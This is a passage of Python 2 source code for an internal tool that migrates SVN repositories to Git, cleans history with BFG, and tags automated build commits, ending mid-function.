ERROR_INSUFFICIENT_CLONE_DEPTH = 4
class RepoType:
def __init__(self):
self.repo_map = {}
self.repo_map["sdkframeworks"] = 5
self.repo_map["platforms"] = 5
self.repo_map["impspplugins"] = 6
self.repo_map["ipprobe"] = 6
self.repo_map["udc"] = 5
self.repo_map["webinfra"] = 5
self.repo_map["sdkbindings"] = 5
self.repo_map["sauclustermanager"] = 5
self.repo_map["sdkplugins"] = 5
self.repo_map["infra"] = 5
def __call__(self, k):
if k in self.repo_map:
return self.repo_map[k]
else:
return None
TEST_GIT_REPO_NAME = "SVN_MERGE" #"TODO_MIGRATE"
EXPLICIT_MATCH = "Sau_4_5_3"
GDEBUG = False
BFORCE_ALL = False #MUST BE False in Release!!!
REPO_BACKUP = "backup"
PLATFORM_NUM = None
GUserMails = None
GMissingMails = {}
GSvnGitMeta = []
GSwitchCase = {}
SVNGIT_UPDATE_DB_ONLY = False
SVNGIT_ON_ABM = False
GDepth = 20
CMD_VERBOSE_MODE_ON = True
NO_GIT_URI = False #nohttps
CSI_GIT_URI = "secret!!!"
SVN_TEMP_DIR = "svnrepos"
GIT_TEMP_DIR = "gitrepos"
ABM_TEMP = "abmtemp"
LOG_DISABLED = True
GTHREAD_COUNT = 5 #test
FIX_DIRTY_TAGS = False
FIX_DIRTY_TAGS_SPECIAL = False
HELP_MESSAGE = """
Usage:\r\n
For bfg mode to perform a cleanup use: sgutil.py --bfg --file <file>\r\n
For merge export svn to git use: sgutil.py --export --file <file>\r\n
For tagging use: sgutil.py --file <file> --tag <0, 1, 2>\r\n
\t(desc: where 0 is tag, 1 is untag, and 2 is retag (untag, tag) )\r\n
For untagging use: sgutil.py --file <file> --untag\r\n
For dump log use: sgutil.py --file <file> --dump-all\r\n
For complete merge repo and tag use: sgutil.py --file <file> --fullmerge\r\n
For specific removal of tags use: sgutil.py --file <file> --purge-tags\r\n
For other options view the sgutil.py file with your editor of choice :")\r\n
For updating a db file use: sgutil.py --update-db\r\n
For hinting you are on a build machine use: sgutil.py --abm\r\n
Usage for updating ComponentsVersion.xml:\r\n
sgutil.py --file <path to csv repo file> --xml-file <path to ComponentsVersions.xml> --export-platforms --platform X_X_X\r\n
To pop top commit from GIT repo use the following command: where <N> is elements to be popped.
sgutil.py --file <path to csv repo file> --pop <N>
To use ssh instead of https use:
sgutil.py --file <path to csv repo file> <options> --nohttps
----------------------------------------------------------------------------\r\n
"""
ExcludedFilesForGitV1 = """
7z,arj,deb,pkg,rar,rpm,tar,
gz,tar.gz,z,ace,whl,gzip,zip,
bin,dmg,iso,toast,vcd,dat,db,apk,
exe,jar,war,ear,cab,dll,obj,dmp,
xlsx,docx,doc,ppt,pptm,pptx,
pdf,msi,msu,m_s_i,wsi,png,
jpg,jpeg,gif,ico
"""
ExcludedFilesForGitV2 = """
.cache,.chm,.dll,.exe,
.exp,.idb,.jpg,.lib,.Lib,
.ncb,.pcap,.pdf,.pk,.raw,
.obj,.pdb,.sdf,.suo,
.d,.Config.proj.bak,
.docx,.xlsx,.snoop,.AIT,
.o,.so,.out,.metadata
"""
Gargs = {}
Gargs.update({'--option' : None})
Gargs.update({'--bfg':None})
Gargs.update({'--file':None})
Gargs.update({'--merge':None})
Gargs.update({'--clean':None})
Gargs.update({'--optimize':None})
Gargs.update({'--help' : HELP_MESSAGE})
Gargs.update({'--nolog':None})
Gargs.update({'--tag' : None})
Gargs.update({'--retag' : None})
Gargs.update({'--untag' : None})
Gargs.update({'--xml-file' : None})
Gargs.update({'--platform' : None}) #specify platform
Gargs.update({'--fix-dirty' : None})
Gargs.update({'--export-platforms' : None})
Gargs.update({'--fullmerge' : None})
Gargs.update({'--dump-all' : None})
Gargs.update({'--purge-tags' : None})
Gargs.update({'--update-db' : None})
Gargs.update({'--abm' : None})
Gargs.update({'--force' : None})
Gargs.update({'--explicit' : None})
Gargs.update({'--validate' : None})
Gargs.update({'--nohttps' : None})
Gargs.update({'--users' : None})
Gargs.update({'--tagonly' : None})
Gargs.update({'--pop' : None})
Gargs.update({'--fcmp' : None})
#######################################################################################################################################
#bdata section (put binary or RO data below) w/marker tag<file_sep>import xml.etree.ElementTree as ET
from Utils import Utils
from threading import Thread
from threading import Lock as mtx
from time import sleep
#Helpers
class Helpers(object):
"""helper stuff"""
@staticmethod
def is_validchash(s):
bfail = True
for c in s:
if (c.lower() >= 'a'and c.lower() <= 'f') or (c >= '0' and c <= '9'):
pass
else:
bfail &= False
return bfail
@staticmethod
def match_abm_aligned(data):
if data.lower().find("abm") is not -1 and data.find("Automatic ABM commit") is not -1:
if data.lower().find("increase component version to") is not -1:
return True
else:
return False
else:
return False
@staticmethod
def match_abm(data):
if data.lower().find("abm") is not -1 and data.find("Automatic ABM commit") is not -1:
return True
else:
return False
@staticmethod
def match_abmasmanual(data):
if data.lower().find("abm") is not -1 and data.find("Automatic ABM commit") is -1:
return True
else:
return False
@staticmethod
def hwm(dic):
"""high watermark algo"""
h = 0
for key in dic:
if key > h:
h = key
return h
#Functors
class Functor(object):
"""abstract function object class to be derived by a real callable obj"""
def __init__(self):
pass
def __call__(self):
self.do_work()
def do_work(self):
"""override this"""
raise BaseException()
class PThread(Thread):
def __init__(self, name="DefaultRunner", userData=None, fn=None):
Thread.__init__(self)
self._name = name
self._udata = userData
self._lock = mtx()
self._fn = fn
def run(self):
if self._fn is not None:
self._fn()
#Xml Update ctx class
class XmlUpdateContext(object):
""" store ComponentsVersion.xml context here and update it"""
def __init__(self, xmlfile, platform):
"""Platform should match format X_X_X (4_5_3) fmt"""
self._platform = platform
self._bakfile = str("%s.bak" % xmlfile)
self._lookup = {}
self._xmltree = ET.parse(xmlfile)
self._root = self._xmltree.getroot()
for child in self._root:
if child.attrib['Name'].startswith('_'):
fix = child.attrib['Name'].replace('_', '')
self._lookup[fix] = child
else:
self._lookup[child.attrib['Name']] = child
self.version = None
self.Name = None
def stringify_namever(self):
return str("%s_%s" % (self.Name, self.version))
def set_vername(self, ver, name):
self.version = ver
self.Name = name
def get_vername(self):
return (self.version, self.Name)
def get_attrib_by_name(self, name):
if name in self._lookup:
return self._lookup[name]
return None
def get_platform(self):
return self._platform
def update(self, name, commithash):
try:
if commithash is not None and name is not None:
self._lookup[name].set('CommitHash', commithash)
except:
pass # do something later: TODO!!!
def finalize(self):
if self._xmltree is not None:
Utils.home()
self._xmltree.write("%s" % self._bakfile)
<file_sep>from db import dbutil as DB
from Globals import *
from Globals import NS
from Shell import Cmd
import os
import subprocess
import sys
import warnings
class Utils(object):
""" Utulity functions - static class """
dmpfile = None # fptr
sshel = Cmd()
sresult = None
memdmp = list()
db = DB()
class CmpDotFiles(object):
def __init__(self):
pass
def __call__(self, path):
if ".git" in path or ".svn" in path or ".gitkeep" in path or ".gitignore" in path:
return True
else:
return False
@staticmethod
def unlink(fname):
try:
rm = str("DEL %s" % fname)
os.system(rm)
except:
pass
@staticmethod
def rmdir(dir_path):
try:
fcmd = str("rmdir /Q /S %s" % dir_path)
os.system(fcmd)
except :
Utils.printwf(str("ERROR: %s does not exists"))
pass
@staticmethod
def printcwd():
ret = os.getcwd()
Utils.printwf(str("CWD: [%s]" % str(ret)))
return ret
@staticmethod
def getListOfFiles(dirName, opt=None):
# create a list of file and sub directories
# names in the given directory
listOfFile = os.listdir(dirName)
allFiles = list()
# Iterate over all the entries
for entry in listOfFile:
#if opt is not None and opt(entry) is True:
# continue
fullPath = os.path.join(dirName, entry)
# If entry is a directory then get the list of files in this directory
if os.path.isdir(fullPath):
allFiles = allFiles + Utils.getListOfFiles(fullPath, opt)
else:
if opt is not None and opt(fullPath) is False:
allFiles.append(fullPath)
elif opt is None:
allFiles.append(fullPath)
return allFiles
@staticmethod
def deltadir(dirA, dirB):
if dirA is None or dirB is None:
return None
direntA = Utils.getListOfFiles(dirA, Utils.CmpDotFiles())
direntB = Utils.getListOfFiles(dirB, Utils.CmpDotFiles())
deltas = {}
for j in range(0, len(direntB)):
d1 = direntB[j].split(dirB)[-1]
if d1 in deltas.keys():
deltas[d1] += 1
else:
deltas[d1] = 1
for i in range(0, len(direntA)):
d1 = direntA[i].split(dirA)[-1]
if d1 in deltas.keys():
deltas[d1] += 1
else:
deltas[d1] = 1
return deltas
@staticmethod
def home_dir():
return os.path.dirname(os.path.realpath(__file__))
@staticmethod
def home():
os.chdir(os.path.dirname(os.path.realpath(__file__)))
return os.path.dirname(os.path.realpath(__file__))
@staticmethod
def dump(data):
"""dump to memory or file"""
if Utils.memdmp is None:
Utils.memdmp = list()
if NS.LOG_DISABLED is True:
Utils.memdmp.append(data)
if Utils.dmpfile is None and NS.LOG_DISABLED is False:
Utils.dmpfile = open(r"C:\\ProgramData\\Dmp.txt", "w")
if NS.LOG_DISABLED is False:
Utils.dmpfile.write(str(data))
@staticmethod
def finalize():
Utils.home()
if Utils.db.save() is not True:
Utils.printwf("ERROR: Failed to save db file")
else:
if NS.SVNGIT_ON_ABM:
Utils.printwf("Will commit db.json to the master repo")
gpull = str("git pull")
chkout = str("git checkout master")
cmmsg = "Automatic ABM commit for a DB file"
adddb = str("git add %s" % Utils.db.fname())
cmtdb = str("git commit -m \"%s\"" % cmmsg)
push = str("git push")
Utils.sshel.execute(chkout)
Utils.sshel.execute(gpull)
Utils.sshel.execute(adddb)
Utils.sshel.execute(cmtdb)
Utils.sshel.execute(push)
for i in Utils.memdmp:
Utils.printwf(i)
if Utils.dmpfile is not None:
Utils.dmpfile.close()
Utils.sshel.kill()
@staticmethod
def mkdir(dir_name):
sshel = Cmd()
dn = str("mkdir %s" % dir_name)
sshel.execute(dn, True)
@staticmethod
def xcopy(src, dst):
xc = str("xcopy /E /I %s %s /Y" % (src, dst))
sshel = Cmd()
sshel.execute(xc)
if len(sshel.std_err()) == 0:
return True
else:
return False
@staticmethod
def probe_dirs(dirs):
res = True
for d in dirs:
if os.path.isdir(d):
res &= len(os.listdir(d)) > 1
else:
res &= False
return res
@staticmethod
def dir_exists_ex(path, wdata=True):
"""wdata: mark False if only check for pathname, or default for path w contents"""
res = False
if os.path.isdir(path):
if wdata is True:
res = len(os.listdir(path)) > 1
res = True
return res
@staticmethod
def git_clrf(opt="false"):
sshel = Cmd()
cl = str("git config --global core.safecrlf %s" % opt)
sshel.execute(cl)
@staticmethod
def load_svngit(fname):
try:
fp = open(fname, 'r')
lines = fp.readlines()
for line in lines:
line = line.replace('\r', '').replace('\n', '')
spl = line.split(',')
if len(spl) == 3:
NS.GSvnGitMeta.append({"branch":spl[2], "svn":spl[0], "git":spl[1]})
elif len(spl) > 3:
tags = spl[3:]
NS.GSvnGitMeta.append({"branch":spl[2], "svn":spl[0], "git":spl[1], "tags":tags})
fp.close()
return True
except:
Utils.printwf(str("Could not read file: (%s)" % fname))
return False
@staticmethod
def get_search():
tmp = str(Utils.sresult)
Utils.sresult = None
return tmp
@staticmethod
def printwf(data):
"""print stdout and stderr and flush the fdescriptors"""
print data #replace for Py3
sys.stdout.flush()
sys.stderr.flush()
@staticmethod
def find_file(dir, match):
listOfFile = os.listdir(dir)
allfiles = list()
for entry in listOfFile:
fullpath = os.path.join(dir, entry)
if entry == match:
Utils.sresult = fullpath
if os.path.isdir(fullpath):
allfiles = allfiles + Utils.find_file(fullpath, match)
else:
allfiles.append(fullpath)
return allfiles
@staticmethod
def get_repo_type(repouri):
rt = NS.RepoType()
if repouri is not None:
spl = repouri.lower().split("/")
if len(spl) > 6:
parseOffset = rt(spl[6])
return parseOffset
<file_sep>import json
class dbutil(object):
def __init__(self):
"""init db and load it"""
self._db = None
self._fname = None
def __del__(self):
pass
def load(self, fname):
self._fname = fname
try:
with open(fname, 'r') as fp:
self._db = json.load(fp)
fp.close()
return True
except:
return False
pass
def add_record(self, name):
if self._db is not None:
if name not in self._db:
self._db[name] = {'tags':[], 'svnrev':0}
def add_svnrev(self, rec, rev):
if self._db is not None:
if rec in self._db:
self._db[rec]['svnrev'] = rev
def get_svnrev(self, rec):
if self._db is not None:
if rec in self._db:
return int(self._db[rec]['svnrev'])
else:
return -1
def get_tags(self, rec):
if self._db is not None:
if rec in self._db:
return self._db[rec]['tags']
def clear_tags(self, rec):
if self._db is not None:
if rec in self._db:
del(self._db[rec]['tags'])
self._db[rec]['tags'] = None
self._db[rec]['tags'] = []
def add_tag(self, rec, tag):
if self._db is not None:
if rec in self._db:
self._db[rec]['tags'].append(tag)
def save(self):
try:
with open(self._fname, 'w') as fp:
json.dump(self._db, fp, skipkeys=False, ensure_ascii=True, check_circular=True,allow_nan=True, cls=None, indent=2, separators=None,encoding='utf-8', default=None, sort_keys=False)
fp.close()
return True
except:
return False
pass
def fname(self):
return self._fname
if __name__ == "__main__":
#unit test
r'''
db = dbutil()
db.load('db.json')
db.add_record('Infra')
db.add_record('Sau')
db.add_svnrev('Infra', 99999)
db.add_svnrev('Sau', 88888)
for i in range(1, 10):
db.add_tag('Sau', i)
db.add_tag('Infra', i)
db.printme()
db.savedb()
'''
pass<file_sep>r'''
Created 30.07.2019
@author izapryanov
-requirements:
python2.7
svn
git
bfg : https://confluence.atlassian.com/bitbucket/use-bfg-to-migrate-a-repo-to-git-lfs-834233484.html
java jre
-command line example:
sgutil.py --dotag --file <file.txt>
NOTE: no longer needs the make.bat file to clone and build the platforms. Parsing the file with format:
http://svnrepo ,repouri/repo.git, branch
'''
import datetime
from Utils import Utils
from Shell import Cmd
from Helpers import Helpers
from Helpers import XmlUpdateContext
from Helpers import Functor
from Helpers import PThread
from Globals import NS
import json
import time
from time import sleep
import os
import sys
import warnings
#begin region SvnGitMixin
class SvnGitMixin(object):
""" svn migrate to git, it clones repos, then checkoust them and copy/paste files from svn to git before commit/push them"""
class versionh_t(object):
"""internal helper data class to store meaningful data from Version header file """
#static cnt
def __init__(self, major, minor, branch, fix, minfix):
self.majorv = major
self.minorv = minor
self.branchv = branch
self.fixv = fix
self.minfixv = minfix
def to_tag(self):
return str("%s_%s_%s_%s_%s" %(self.majorv, self.minorv, self.branchv, self.minfixv, self.fixv))
def __str__(self):
return self.to_tag()
##################################################################
def __init__(self, svnuri=None, gituri=None, svnpath=None, gitpath=None, opt_tags=None):
""" svn url, git url (both optional, git for bfg command is required), svn directory and git directory - required """
self._gituri = gituri
self._svnuri = svnuri
self._metasvn = {}
self._metagit = {}
self._gitpath = gitpath
self._svnpath = svnpath
self._missing = list()
self._isrunning = True
self._hkgit = 0 #highest git ver
self._hksvn = 0 #highest svn ver
self._repos = []
self._currentPID = None
self._currentBranch = None
self._shell = Cmd()
self.sresult = None
self._xmlContext = None
self._git_forward_err = False
self._tags = opt_tags # buffer all tags here
self._doNotTag = False
self._hasNoAbm = False
self._hasError = False
self._filesToDelete = {} # marks a list of rev and files to delete
self._gireponame = None
self._repoParseOffset = Utils.get_repo_type(svnuri)
pass
def __del__(self):
"""RAII"""
self.terminate()
self.end()
def _set_path(self, path):
res = True
try:
os.chdir(path)
except:
res = False
return res
def gitlog(self, optargs=" ", addall=False):
""" wrapper of git log"""
def _add_to_dic(key, data):
if key not in self._metagit:
self._metagit[key] = list()
self._metagit[key].append(data)
else:
self._metagit[key].append(data)
def extract_rev(s):
ret = -1
if s.find("git-svn") is not -1:
ns = s.replace('\n','').replace('\r', '')
rev = ns[ns.index("git-svn-id:"): ]
ret = int(rev[rev.find('@')+1:].split()[0])
elif s.find("svn-revision:") is not -1:
ns = s.replace('\n','').replace('\r', '')
rev = ns[ns.index("svn-revision:"):]
rev.replace('\r', '').replace('\n', '')
ret = int(rev[rev.index(":")+1:])
else:
pass
return ret
def fix_broken_split(array, delimiter, sig=5):
iter = 0 #count array and save state to prev
for elem in array:
if len(elem) >= sig:
test = elem.split('\n')
test[0].replace('\r', '').replace('\n', '')
ishex = Helpers.is_validchash(test[0])
if not ishex:
array[iter-1] = str("%s %s %s" % (array[iter-1], delimiter, elem))
spl.pop(iter)
pass
pass
iter += 1
return array # return a fixed array probably
self._set_path(self._gitpath)
pull = str("git pull")
glog = str("git log %s " % (optargs))
self._shell.execute(pull)
self._shell.execute(glog)
omitnext = False
spl = self._shell.std_out().split("commit ")
spl = fix_broken_split(spl, "commit ")
res = False
errFreq = 0
if len(spl) > 0:
res = True
for s in spl:
errFreq += 1
if len(s) == 0:
continue
if s.find("Merge pull request") is not -1:
if errFreq == 1:
self._git_forward_err = True
Utils.printwf(str(s))
omitnext = True
if omitnext is True:
omitnext = False
continue
rrev = extract_rev(s)
if rrev != -1:
_add_to_dic(rrev, s)
else:
if errFreq == 1:
self._git_forward_err = True
return res
def svnlog(self, frm, to=str("HEAD"),formerge=False):
""" wrapper to svn log """
self._set_path(self._svnpath)
svnupdate = str("svn up")
if formerge is True:
svnlog = str("svn log -r %s:%s -v" % (frm, to))
else:
svnlog = str("svn log -r %s:%s" % (frm, to))
self._shell.execute(svnupdate)
self._shell.execute(svnlog)
spl = self._shell.std_out().split("------------------------------------------------------------------------")
for s in spl:
s = s.lstrip("\r\n")
s = s.rstrip("\r\n")
if len(s) != 0:
sspl = s.split()
k = sspl[0]
if k[1:] not in self._metasvn:
kk = int(k[1:])
self._metasvn.update({kk:s})
self._filesToDelete.update({kk:[]})
if "Changed paths:" in s:
specialfix = s.split("Changed paths:")
if len(specialfix) > 0:
entries = specialfix[-1].split("\r\n")
for entry in entries:
u = "/".join(self._svnuri.split("/")[5:]).lower()
if u in entry.lower():
deleted = entry.split(" D ")
if len(deleted) > 1:
fd = deleted[1].split("/")
fdel = "{0}\\{1}".format(self._gitpath, "\\".join(fd[self._repoParseOffset:]))
if len(fd) > 0:
Utils.dump("[INFO]: Will delete {0} file from {1} revision".format(fdel, kk))
self._filesToDelete[kk].append(fdel)
def get_cmhash_from_svnrev(self, rev):
if rev in self._metagit:
cmh = self._metagit[rev][0].split("\n")
if len(cmh) > 0:
return cmh[0]
else:
return None
def gitpop(self, commithash=None):
"""WARNING! Careful now when using that call : pops latest commit and resets to the prev in repo"""
if commithash is None:
self.gitlog()
revs = self._metagit.items()
revs.sort()
cmhash = self.get_cmhash_from_svnrev(revs[-1-1][0])
Utils.db.add_svnrev(self._currentBranch, revs[-1-1][0])
resettop = str("git reset --hard %s" % cmhash)
else:
resettop = str("git reset --hard %s" % commithash)
pushf = str("git push --force")
self._shell.execute(resettop)
self._shell.execute(pushf)
pass # breakpnt
def get_tag_by_user(self, commiter='yyordanov'):
Utils.printwf(str("Start fix on repo %s w user %s " % (self._repo, commiter)))
cm = str("git show-ref --tags -d")
self._shell.execute(cm)
spl = self._shell.std_out().split('\n')
tags = []
for entry in spl:
hash_commit = entry.split()
if len(hash_commit) > 1:
tag = hash_commit[1].split('/')[2]
tags.append((hash_commit[0], tag))
i = 0
while i < len(tags):
cm = str("git show %s" % tags[i][1])
self._shell.execute(cm)
if commiter in self._shell.std_out():
try:
svn = self._shell.std_out().split('git-svn-id:')[1].split('@')[1].split()[0]
except:
return (None, None, None, None)
cm2 = str("git tag -n9")
self._shell.execute(cm2)
spl2 = self._shell.std_out().split('\n')
for ii in spl2:
spl3 = ii.split()
if len(spl3) > 0 and tags[i][1] == spl3[0]:
cmmmsg = " ".join(spl3[1:])
return (tags[i][0], svn, spl3[0], cmmmsg)
i += 1
return (None, None, None, None)
def set_current(self, repo):
self._repo = repo
def init_branch(self, postfix, deleted=False):
c = self._shell
ret = str()
os.chdir(self._gitpath) # go to dir path
spl = self._gitpath.split('\\')
origin = spl[len(spl)-1]
repo = str("%s_%s" % (origin, postfix))
self._repos.append(repo)
ret = str(repo)
try:
checkout = str("git checkout %s" % repo)
push = str("git push --set-upstream origin %s" % repo)
newbranch = str("git branch %s" % repo)
check = str("git branch -a")
c.execute(check)
if repo in c.std_out() and deleted is False:
return ret
elif repo in c.std_out() and deleted is True:
chtoorgin = str("git checkout %s" % origin)
deletebranch = str("git branch -D %s" % repo) # use upper D to be 'sure'
deleteorigin = str("git push origin --delete %s" % repo)
c.execute(chtoorgin)
c.execute(deletebranch)
c.execute(deleteorigin)
os.chdir(self._svnpath)
return None
else:
c.execute(newbranch)
c.execute(checkout)
c.execute(push)
return ret
except:
os.chdir(self._svnpath)
return None
def add_and_commit(self, author, mail, date, msg, upstream):
""" add and commit and push with specific author, mail, cmt message and to upstream repo"""
gadd = str("git add .")
gcmt = str("git commit --author=\"%s <%s>\" -m \"%s\" --date=%s" % (author, mail, msg, date))
Utils.dump(str("INFO:%s" % gcmt))
if NS.TEST_GIT_REPO_NAME is not None:
gpush = str("git push --set-upstream origin %s" % upstream)
else:
gpush = str("git push")
c = self._shell
self._currentPID = c
c.execute(gadd)
c.execute(gcmt)
c.execute(gpush)
def clone_bare(self, gituri, repo, branch=None):
pydir = str(os.path.dirname(os.path.realpath(__file__)))
try:
os.chdir(pydir)
except:
return False
repo = repo.replace('\n', '').replace('\r', '')
path = repo.split('/')
bareclone = str("git clone --mirror %s%s" % (gituri, repo))
if (Utils.dir_exists_ex(path[1])) is False:
self._shell.execute(bareclone, True)
try:
os.chdir(os.path.dirname(os.path.realpath(__file__)))
Utils.xcopy(path[1], str("%s\\%s\\%s" % (Utils.home_dir(), NS.REPO_BACKUP, path[1])))
os.chdir(path[1])
except Exception as ex1:
Utils.printwf("Err: could not change to path %s : ex:%s" % (path[0], ex1.message))
def do_bfg(self, push_to_repo=False):
"""do bfg cleanup on folder cloned as a bare repo"""
merged = str("%s,%s" % (NS.ExcludedFilesForGitV1, NS.ExcludedFilesForGitV2))
merged = merged.replace("\n",'')
bfg = str("java -jar ..\\bfg.jar --no-blob-protection --delete-files *.{%s}" % merged)
expire = str("git reflog expire --expire=now --all")
gc = str("git gc --prune=now --aggressive")
push = str("git push")
Utils.printwf("<<<<<<<<<< Entering BFG mode >>>>>>>>>>")
c = self._shell
self._currentPID = c
c.execute(bfg, True)
Utils.printwf(c.std_out())
c.execute(expire)
Utils.printwf(c.std_out())
os.system(gc)
if push_to_repo is True:
c.execute(push)
Utils.printwf("<<<<<<<<<< Leaving BFG mode >>>>>>>>>>")
def get_latestcommit(self):
if self._metagit is not None and len(self._metagit) > 0:
it = self._metagit.items()
it.sort()
return it[-1]
def do_tag(self, remove_tag=0, applyFix=False, fixDirty=False, filter=None, enable_dump=False):
"""tag user commits with ABM commits.
Latest user preceeding an abm array of commits will be tagged.
First abm commit is internal and will be retrieved by finding Version.h and extract data from there.
The other abm commits will be taken from the svn commit message.
applyFix = True/False
apply specifix abm fix: that given : ex.
there are 5 svn commits, but only 3 of them are present in GIT,
apply tag from the lates 2 from svn to the latest in GIT
"""
#enter private region
def find_file(dir, match):
listOfFile = os.listdir(dir)
allfiles = list()
for entry in listOfFile:
fullpath = os.path.join(dir, entry)
if entry == match:
self.sresult = fullpath
if os.path.isdir(fullpath):
allfiles = allfiles + find_file(fullpath, match)
else:
allfiles.append(fullpath)
return allfiles
def parse_vh2(data):
vminor, vmajor, vbranch, vfix, vminfix = -1, -1, -1, -1, -1
for entry in data:
entry_items = entry.split()
if len(entry_items) != 3 or entry_items[0] != '#define':
continue
vname = entry_items[1]
version = entry_items[2]
if vname.endswith("MAJOR_VERSION"):
vmajor = version
elif vname.endswith("MINOR_VERSION"):
vminor = version
elif vname.endswith("BRANCH_VERSION"):
vbranch = version
elif vname.endswith("MIN_FIX_VERSION"):
vminfix = version
elif vname.endswith("FIX_VERSION"):
vfix = version
if vbranch >= 0 and vminfix >= 0 and vfix >= 0 and vminor >= 0 and vmajor >= 0:
vh = SvnGitMixin.versionh_t(major=vmajor, minor=vminor, branch=vbranch, fix=vfix, minfix=vminfix)
return vh
return None
def exp_get_ver(r,opdir):
fullpath = str("%s\\%s\\%s\\%s" % (Utils.home_dir(), NS.ABM_TEMP, opdir, str(r)))
exp = str("svn export -r %s %s %s" % (r, self._svnpath, fullpath))
self._shell.execute(exp)
vh = None
try:
fullpath = str("%s\\%s" % (fullpath, "inc"))
os.chdir(fullpath)
find_file(fullpath, "Version.h")
res = self.sresult
if res is not None:
fp = open(res, "r")
lines = fp.readlines()
fp.close()
vh = parse_vh2(lines) #test
except Exception as ex1:
Utils.printwf(str("do_tag.exp_get_ver: %s" % ex1.message))
pass
self.sresult = None
return vh
def tag(tagname, commithash, vermsg):
commit = str("git tag -a %s %s -m \"%s\"" % (tagname, commithash, vermsg))
push = str("git push origin %s" % tagname)
Utils.dump(str("INFO: %s" %commit))
if NS.SVNGIT_UPDATE_DB_ONLY is False:
Utils.db.add_tag(self._currentBranch, tagname)
self._shell.execute(commit)
self._shell.execute(push)
else:
Utils.printwf("[TAG]Update db only...")
def untag(tag):
deltag = str("git tag -d %s" % tag)
Utils.dump(str("INFO: %s" %deltag))
pushdel = str("git push origin :refs/tags/%s" % tag)
if NS.SVNGIT_UPDATE_DB_ONLY is False:
self._shell.execute(deltag)
self._shell.execute(pushdel)
else:
Utils.printwf("[UNTAG]Update db only...")
def parse_ver_msg(data):
spl = data.split()
return spl
def build_cm_msg(data, match):
tmp = str()
for i in range(data.index(match)+1, len(data)):
tmp += str(" %s " % data[i])
tmp = tmp.replace(" ", " ")
fix = str("Automatic ABM commit:%s" % tmp)
return fix
def filter_fix_tag(data):
"""reorganize ABM commit that needs to be fixed"""
ret = {}
ret['nok'] = list()
ret['ok'] = list()
i, j = 0, 0
if self._hasNoAbm:
ret['ok'] = data
return ret
while i < len(data):
if Helpers.match_abm(data[i][1]):
ret['nok'].append(data[i])
i+= 1
else:
break
j = i
while j < len(data):
ret['ok'].append(data[j])
j += 1
return ret
def apply_full_merge_fix(abmdata, svnrev, opdir, topabm):
size, j, commithashi, k = len(abmdata), 0, 0, 0
abmdata.sort()
sortedabm = list(abmdata)
todotag = []
i = size -1
if size == 0:
return
while i >=0:
if Helpers.match_abm(sortedabm[i][1]):
todotag.append(sortedabm[i])
elif Helpers.match_abm_aligned(sortedabm[i][1]):
todotag.append(sortedabm[i])
else:
break #foudn manual
i-=1
if len(todotag) > 0:
j = len(todotag) -1
commithashi = 0
k = todotag[0][0]
self._set_path(self._gitpath)
versionh2 = exp_get_ver(svnrev, opdir)
self._set_path(self._gitpath)
commithashi = self._metagit[k]
commithashi = commithashi[0].split('\n')[0]
deltag = versionh2.to_tag()
cmmsgi = str("Automatic ABM commit: Increase Component version to: %s.%s.%s.%s" % (versionh2.majorv, versionh2.minorv, versionh2.branchv, versionh2.fixv))
tag(deltag, commithashi, cmmsgi)
ii = j-1
while ii >=0:
commithash = self._metagit[k]
commithash = commithash[0].split('\n')[0]
cmmsg = parse_ver_msg(todotag[ii][1])
tagname = cmmsg[22].replace('.', '_')
cmmsg = build_cm_msg(cmmsg, 'commit:')
tag(tagname, commithash, cmmsg)
ii-=1
pass
def apply_abm_fix(abmdata, opdir, utag=0, svnrev=None, topabm=0):
i, size = 1, 0
size = len(abmdata)
abmdata.sort()
if size > 0:
commithashi = 0
k = abmdata[len(abmdata)-1][0]
self._set_path(self._gitpath)
versionh2 = exp_get_ver(svnrev, opdir)
self._set_path(self._gitpath)
deltag = versionh2.to_tag()
if k not in self._metagit:
commithashi = self._metagit[topabm]
else:
commithashi = self._metagit[k]
commithashi = commithashi[0].split('\n')[0]
cmmsgi = str("Automatic ABM commit: Increase Component version to: %s.%s.%s.%s" % (versionh2.majorv, versionh2.minorv, versionh2.branchv, versionh2.fixv))
if utag == 1:
untag(deltag)
elif untag == 2:
untag(deltag)
tag(deltag, commithashi, cmmsgi)
else:
tag(deltag, commithashi, cmmsgi)
while i < size:
commithash = 0
if k not in self._metagit:
commithash = self._metagit[topabm]
else:
commithash = self._metagit[k]
commithash = commithash[0].split('\n')[0]
cmmsg = parse_ver_msg(abmdata[i][1])
tagname = cmmsg[22].replace('.', '_')
cmmsg = build_cm_msg(cmmsg, 'commit:')
if utag == 1:
untag(tagname)
elif utag == 2:
untag(tagname)
tag(tagname, commithash, cmmsg)
else:
tag(tagname, commithash, cmmsg)
i += 1
return True
else:
Utils.dump("INFO: nothing to fix for ABM tags")
return False
#leave private region
#Utils.db.clear_tags(self._currentBranch)
Utils.printwf(str("Enter tag/untag mode for repo [%s]" % self._repo))
Utils.dump(str("INFO: Enter tag/untag mode for repo [%s]" % self._repo))
Utils.db.clear_tags(self._currentBranch)
if self._hasError:
return NS.Errors.ERROR
#get the current svn saved state
currentSavedRev = Utils.db.get_svnrev(self._currentBranch)
hsvn = 0 #highest svn
r = self._repo.replace("\n", '').replace("\r", '')
r = r.split(',')
opdir = r[-1]
opdir = opdir.replace(' ', '')
abmcommit = []
#check if raw log is ok:
#removed --no-walk option and --pretty=\"%h %d %s\"
#" --tags --decorate=full --date=short"
haslog = self.gitlog()
self._metasvn.clear()
if self._git_forward_err is True and remove_tag != 1:
Utils.printwf("Git repo ahead of SVN")
Utils.dump("ERROR: Git repo ahead of SVN")
return NS.Errors.ERROR
gitmeta = self._metagit
if len(gitmeta) == 0 and haslog is False:
Utils.dump("ERROR: NO_CONNECTION_TO_GIT")
return NS.Errors.NO_CONNECTION_TO_GIT
self._hkgit = Helpers.hwm(gitmeta)
git_abm_top_internal, git_abm_top = 0, 0
gititems = gitmeta.items()
gititems.sort()
for i in range(len(gititems)):
if Helpers.match_abm_aligned(gititems[i][1][0]):
git_abm_top_internal = gititems[i][0]
elif Helpers.match_abm(gititems[i][1][0]):
git_abm_top = gititems[i][0]
#TODO: review this
if currentSavedRev > 0 and NS.BFORCE_ALL is False:
Utils.printwf("INFO: Will use %s as clone mark" % currentSavedRev)
self.svnlog(str(currentSavedRev)) #get the last rev from db
hsvn = Helpers.hwm(self._metasvn)
if hsvn == currentSavedRev and remove_tag==0:
Utils.printwf("INFO: Current GIT state and SVN state are equal. Nothing to do.")
return NS.Errors.OK
if git_abm_top_internal == 0 and git_abm_top > 0 and currentSavedRev == 0:
return NS.Errors.ERROR_INSUFFICIENT_CLONE_DEPTH
if True: #socped check !!!!
